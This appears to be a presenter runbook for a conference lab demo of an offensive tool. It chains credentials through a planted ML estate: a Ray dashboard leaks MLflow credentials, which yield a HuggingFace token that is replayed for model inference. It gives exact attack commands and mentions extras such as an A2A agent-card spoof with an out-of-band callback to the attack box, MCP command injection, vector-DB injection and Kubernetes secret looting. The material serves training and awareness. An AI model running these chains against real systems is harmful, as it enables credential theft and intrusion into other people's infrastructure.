Skip to content

Tactic: the 20-minute credential chain (presenter runbook)

A tight, timed script for demoing the guided chain live (RTV tactic talk / booth). One command ladder, per-hop expected output, and the credential hand-off narration that makes it land. This is the presenter script — for the attendee self-serve version see Start Here; for the room/operator setup see the RTV Operator Checklist.

Premise (one line to the room): "One unauthenticated Ray dashboard on ACME's ML-platform box, chained across three teams — data science, then the app team — to real model inference. The same estate holds the fraud model, customer PII, and a Snowflake credential."

Setup: on the attack box, mkdir -p ~/lab-results and confirm ./aipostex version. Pre-run bash ~/lab/verify-chain.sh (expect 13/13) so you know the chain is live before you talk.


Timing map (~18 min + buffer)

Min Hop What the room sees
0–2 Framing The estate, the premise, "credentials chain"
2–6 Ray Unauth dashboard → a job's runtime_env leaks the MLflow gateway credential
6–10 MLflow gateway The looted Basic credential opens the gated gateway → a run param leaks an HF token
10–15 TGI gateway The looted HF token replays into real inference on a model-serving endpoint
15–18 Score The coverage report card; the honesty (proof-strength) angle

Hop 1 — Ray (unauthenticated) · ~4 min

./aipostex ray --target http://172.16.50.20:8265 jobs --format json -o ~/lab-results/ray.json

Say: "No auth at all. Ray runs jobs, and a job's runtime environment carries the env vars the team used — including the MLflow tracking credential."

Point at: the MLFLOW_TRACKING_URI + MLFLOW_TRACKING_USERNAME/PASSWORD in a job's runtime_env. That Basic credential is hop 2's key (ray-pipeline:…).

Recovery: if jobs shows nothing, the seed job may have aged out — re-seed Ray with ssh labadmin@172.16.50.20 'sudo /opt/ailab-ml/venv/bin/python3 ~/lab/ml-platform/seed_ray.py localhost 8265' (or sudo bash ~/lab/ml-platform/seed.sh to re-seed the whole ML host), then re-run.


Hop 2 — MLflow auth gateway (credential-gated) · ~4 min

./aipostex mlflow --target http://172.16.50.30:5000 \
    --header "Authorization: Basic <ray-looted-basic>" runs --limit 20 \
    --format json -o ~/lab-results/mlflow.json

Say: "This MLflow sits behind a reverse-proxy auth gate — unauthenticated calls get 401. But we're not unauthenticated anymore; we looted a credential from Ray. Replay it."

Point at: the 401-without-creds vs 200-with-the-looted-creds contrast, then the HF token surfaced in a run's params/tags. That token is hop 3's key.

Note for the room: ailab-ds:5000 is the gated gateway (the chain hop). There's also a directly-exposed MLflow backend at ailab-ml:5000 — both are realistic in an open estate; the gateway is here to demonstrate credential chaining, not network segmentation.


Hop 3 — HF TGI gateway (real inference) · ~5 min

./aipostex huggingface --target http://172.16.50.40:8180 \
    --header "Authorization: Bearer <mlflow-looted-hf-token>" \
    generate --prompt "incident response playbook" --force-exploit \
    --format json -o ~/lab-results/hf.json

Say: "Third team, third service. The token we pulled out of MLflow is a HuggingFace inference token. We replay it and get real generated text back — actual model inference on their model-serving backend, reached purely by chaining looted credentials."

Point at: "inference": "real" and the generated text. The tool runs a no-credential control probe, so it only calls this a credential replay because the endpoint genuinely rejects the request without the token — not just because we sent a header.

Recovery: if the inference backend/TGI is unavailable the tool reports reachable/credential_gated rather than a fake success — say so plainly; the honesty is the point.


Close — score it · ~3 min

python3 ~/lab/scoring/score.py ~/lab-results --strict

Say: "We didn't just pop boxes — we measured it. Coverage of 170 planted findings, graded by proof strength: reachable vs. credential-gated read vs. real execution. The chain we just ran shows up as execution-confirmed."

The takeaway line: "AI infra security isn't about one service — it's about the credential flows between them. One open Ray dashboard became real inference on two other teams' systems — and that same chain is what reaches ACME's fraud model, customer PII, and warehouse credentials. You secure the flows, not just the boxes."


Beyond the chain — additional surfaces (optional)

If the room wants more after the chain lands, keep the chain as the spine and treat these as extras:

  • A2A — "accepted ≠ exploited" (the real a2a-sdk agent at 172.16.50.40:8103, not the scored :8100 mock): card-spoof --callback-url http://172.16.50.99:9000 --force-exploit. Acceptance is only influenced; a real nonce-correlated out-of-band callback is what upgrades it to exploited — a 30-second proof-ladder coda. Pre-record it; a live callback can fail on stage. The --callback-url must be routable from the agent — the attack-box IP here (172.16.50.99), or host.docker.internal for a dev-machine sandbox pre-record (a localhost callback stays influenced: the containerized agent can't reach your host).
  • MCP RCE · Jupyter secret-mining · vector-DB injection — the estate's other open surfaces (mcp poison --mode cmd-inject, jupyter ... read-notebook --mine-secrets, vectordb ... inject --verify-persist), the same extras the RTV tactic offers early finishers.
  • K8s supply-chain (separate target): the cluster angle runs against the dev-machine k3s sandbox (sandbox up k8s, vuln :6443 / secure :6444), not the 5-VM estate — anon secret-read recovers the model-registry HF/AWS creds and sa-loot proves the stolen pipeline-runner SA can write the registry (supply-chain tampering). A presenter beat, not an attendee estate hop.

Pre-flight checklist (run before you present)

  • bash ~/lab/verify-chain.sh → 13/13
  • ./aipostex version prints the expected build
  • mkdir -p ~/lab-results (empty it for a clean demo: rm -f ~/lab-results/*.json)
  • Ray jobs returns the seeded credential-bearing job
  • TGI / inference backend reachable (or be ready to narrate the honest reachable fallback)